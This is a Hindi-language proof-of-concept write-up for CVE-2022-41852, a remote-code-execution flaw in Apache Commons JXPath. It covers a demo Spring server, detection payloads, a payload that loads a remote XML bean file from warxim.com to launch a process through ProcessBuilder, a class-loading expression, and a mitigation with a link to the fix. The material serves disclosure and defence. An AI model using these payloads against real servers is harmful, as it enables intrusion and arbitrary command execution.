
CVE-2022-41852 अवधारणा का प्रमाण (अनौपचारिक)
CVE-2022-41852 हमलावरों को एप्लिकेशन सर्वर पर कोड निष्पादित करने की अनुमति देता है।
आप इस भेद्यता के बारे में यहाँ और पढ़ सकते हैं:
नोट: मैं इस CVE का लेखक नहीं हूँ। मैंने केवल यह प्रूफ ऑफ कॉन्सेप्ट बनाया है।
JXPath लाइब्रेरी में XPath एक्सप्रेशन में फ़ंक्शन चलाने के लिए समर्थन है (देखें आधिकारिक उपयोगकर्ता मार्गदर्शिका)।
उदाहरण के लिए, विधियाँ JXPathContext.getValue(path) और JXPathContext.iterate(path) खतरनाक हैं
यदि आप उपयोगकर्ता को path पैरामीटर में इनपुट भेजने देते हैं।
यह PoC एक साधारण Spring सर्वर शुरू करता है जिसमें दो एंडपॉइंट हैं:
/vulnerable-example?path=[path]/secure-example?path=[path]इन एंडपॉइंट्स में केवल एक क्वेरी पैरामीटर "path" है।
निम्नलिखित अनुरोध ठीक काम करेंगे (कोई समस्या नहीं पैदा करेंगे):
निम्नलिखित अनुरोध कोड निष्पादित करने का कारण बनेंगे:
CVE-2022-41852 का पता लगाने के लिए उदाहरण पेलोड:
java.lang.System.exit(42)java.lang.Thread.sleep(10000)/|java.lang.System.exit(42)|java.lang.System.exit(42)कमांड निष्पादित करने के विभिन्न तरीके हो सकते हैं। उनमें से एक Spring के ClassPathXmlApplicationContext का उपयोग करना है:
org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")XML फ़ाइल में, आप बीन कॉन्फ़िगरेशन परिभाषित कर सकते हैं, उदाहरण के लिए, आप ProcessBuilder का इंस्टेंस बना सकते हैं
और बीन को start() विधि का उपयोग करके आरंभ करके सर्वर पर निर्दिष्ट कमांड चला सकते हैं।
निम्नलिखित उदाहरण में, Windows मशीन पर कैलकुलेटर खोला जाएगा:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>
कॉन्टेक्स्ट बीन को ट्रैवर्स करके नई क्लास लोड करने का भी एक तरीका है, उदाहरण के लिए, निम्नलिखित कोड com.warxim.dangerous.DangerousClass क्लास को लोड करेगा, उसका इंस्टेंस बनाएगा और run("warxim") विधि को कॉल करेगा:
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);
ध्यान दें कि हमें ऑब्जेक्ट विधियों को उन ऑब्जेक्ट को पहले पैरामीटर के रूप में रखकर कॉल करना होगा जिनमें वे शामिल हैं।
JXPathContext में फ़ंक्शंस को खाली FunctionLibrary में functions फ़ील्ड सेट करके अक्षम करना संभव है।
// Create path context for person object
var pathContext = JXPathContext.newContext(person);
// Set empty function library
pathContext.setFunctions(new FunctionLibrary());
// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);
नोट: यह सभी फ़ंक्शंस को अक्षम कर देगा, इसलिए size() जैसे फ़ंक्शंस भी उपलब्ध नहीं होंगे।
फिक्स विकसित किया जा रहा है, देखें https://github.com/apache/commons-jxpath/pull/26